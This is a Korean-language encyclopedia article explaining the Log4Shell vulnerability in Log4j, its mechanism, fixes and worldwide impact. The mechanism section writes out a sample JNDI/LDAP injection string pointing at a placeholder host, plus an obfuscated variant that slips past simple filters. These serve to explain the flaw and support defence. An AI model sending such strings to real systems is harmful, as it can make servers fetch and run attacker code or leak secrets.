Log4Shell

Log4Shell 또는 CVE-2021-44228는 저명한 자바 로깅 프레임워크 Log4j의 제로 데이 임의 코드 실행 취약점이다. 이 취약점은 알리바바의 클라우드 보안팀에 의해 2021년 11월 24일 아파치에 비공개로 전달되었으며 2021년 12월 9일 대중에게 공개되었다.

이 취약점은 LDAP과 JNDI 요청을 검사하지 않는 Log4j의 특징을 이용하여, 공격자가 임의의 자바 코드를 서버 또는 기타 컴퓨터에서 실행할 수 있게 한다. 영향을 받는 서비스에는 아마존 AWS, 클라우드플레어, 아이클라우드, 마인크래프트 자바 에디션, 스팀, 텐센트 QQ가 포함된다. 루나섹(LunaSec)은 이 취약점을 "파멸적 부분의 설계적 실패"로, Tenable은 "지난 10년 이내의 가장 심각한, 단일로서는 최대의 취약점"으로 특징을 지었다. Log4j 프로젝트를 맡는 아파치 소프트웨어 재단은 Log4Shell에 CVSS 점수 최고점인 10점을 부여하였다.

배경 

Log4j는 소프트웨어 개발자가 자신의 애플리케이션 안에 다양한 데이터의 로그 기록을 남길 수 있게 하는 오픈 소스 로깅 프레임워크이다. 이 데이터는 사용자 입력을 포함할 수도 있다. 자바 애플리케이션, 특히 기업용 소프트웨어 전반에 사용된다. 2001년 Ceki Gülcü가 처음 개발한 Log4j는 현재 아파치 소프트웨어 재단 프로젝트의 하나인 아파치 로깅 서비스의 일부이다.

동작 
JNDI는 프로그램 런타임 시 지정된 데이터 경로의 자바 오브젝트 검색을 허용한다. JNDI는 여러 디렉터리 인터페이스를 지렛대처럼 활용할 수 있으며 각 인터페이스는 각기 다른 파일 검색 스킴을 제공한다. 이 인터페이스들 중에는 자바로 개발되지 않은 프로토콜의 하나인 LDAP이 있으며 이는 로컬이든 인터넷 어느 곳에서든 적절한 서버로부터 오브젝트 데이터를 URL로 받아온다.

기본 구성에서 문자열 로그를 기록할 때 Log4j 2는 ${prefix:name} 형태의 식에 문자열 치환을 수행한다. 예를 들어, Text: ${java:version}는 Text: Java version 1.7.0_67로 변환될 수 있다. 인식되는 식들 중에 ${jndi:<lookup>}가 있다. LDAP을 통해 lookup을 지정함으로써 임의의 URL을 조회하고 자바 오브젝트 데이터로 로드할 수 있다. 예를 들어 ${jndi:ldap://example.com/file}는 인터넷에 연결되어 있다면 해당 URL로부터 데이터를 로드하게 된다. 로깅이 되는 문자열을 입력함으로써 공격자는 퍼블릭 URL에서 호스팅되는 악성 코드를 로드하고 실행할 수 있다. 데이터의 실행을 비활성화해 놓았더라도 공격자는 여전히 기밀 환경 변수 등의 데이터를 (URL 배치를 통해) 받아올 수 있으며 여기서 치환을 거쳐 공격자의 서버로 송신할 수 있다.

HTTP 요청이 자주 로깅되기 때문에 공통 공격 벡터는 악성 문자열을 HTTP 요청 URL이나 흔히 로깅되는 HTTP 헤더(예: User-Agent)에 배치시킨다. 초기의 완화 방법에는 "${jndi" 등의 잠재적으로 악성일 가능성이 높은 콘텐츠를 포함하는 모든 요청을 차단하는 것이 포함되었다. 아무렇지 않게 수행한 검색은 요청을 모호하게 만듦으로써 우회가 가능하다: 예를 들어 ${${lower:j}ndi는 문자 j에 소문자 처리를 수행한 이후 JNDI 룩업으로 변환된다. 입력이 즉시 로깅되지 않더라도 나중에 내부 처리 중에 로깅한 다음에 콘텐츠의 실행이 가능할 수 있다.

완화 
이 취약점의 픽스가 취약점이 공표되기 3일 전 2021년 12월 6일 Log4j 버전 2.15.0-rc1에서 출시되었다. 이 픽스에는 여러 시스템 속성을 사용하여 구성이 가능한 룩업(lookup)에 사용될 수 있는 서버와 프로토콜을 제한하는 것이 포함되었다. 이는 log4j2.formatMsgNoLookups 시스템 속성을 대체하였다. 2.10.0 이후의 과거 버전에서는 취약점을 완화하는데 해당 속성을 true로 설정하는 것이 권장된다. 2.10.0 이전 버전의 경우 org.apache.logging.log4j.core.lookup.JndiLookup 클래스를 클래스패스에서 제거해야 한다.

게다가 JNDI를 사용하는 모든 기능은 2.15.1 이상부터 기본적으로 비활성화된다.

새 버전의 자바 런타임 환경(JRE) 또한 원격 코드의 로드를 기본적으로 차단함으로써 이 취약점을 완화시킨다. 다만 다른 공격 벡터가 여전히 특정 애플리케이션에 존재한다. 내장된 자바 패키지에서 취약한 log4j 버전의 이용을 검출하는데 도움을 주는 여러 방식과 도구가 게시되었다.

반응과 영향 
미국에서 사이버보안 및 인프라 보안국(CISA)의 감독 젠 이스털리(Jen Easterly)는 이 취약점을 심각한 것으로 보고 벤더들에게 소프트웨어 업데이트를 우선할 것을 충고했다. 캐나다 사이버 보안 센터(CCCS)는 단체들에게 즉각적인 조치를 취할 것을 주문했다. 독일의 연방정보기술보안청(Bundesamt für Sicherheit in der Informationstechnik, BSI)은 이 취약점을 기관 최고의 위협 수준으로 지정하였고 이를 "극히 심각한 위협적 상황"으로 언급하였다. 여러 공격들이 이미 성공적이었음이 밝혀졌고 취약점의 정도가 조사하기 힘든 상황이라고 보고되었다.

클라우드플레어의 CEO 매튜 프린스(Matthew Prince)에 따르면 이 취약점의 이용과 테스트의 증거가 적어도 12월 1일로 거슬러 올라가며 이는 취약점이 공개된지 9일 앞선 것이다. 사이버보안 기업 그레이노이즈에 따르면 여러 IP 주소들이 웹사이트들을 스크랩하여 취약점이 있는 서버를 물색하였다. 캐나다 국세청은 취약점을 이해한 뒤 일시적으로 온라인 서비스를 종료하였고 퀘벡 정부는 예방 조치의 일환으로서 정부 웹사이트 중 약 4,000개를 폐쇄하였다.

시스템 관리자들은 이 상황을 조사하고 라이브러리를 업데이트하거나 시스템 속성을 이용하는 룩업을 비활성화함으로써 가능한 조속히 완화 조치를 단행할 것을 충고받았다.

각주

외부 링크 
 Log4j website

취약점 공격
2021년 컴퓨팅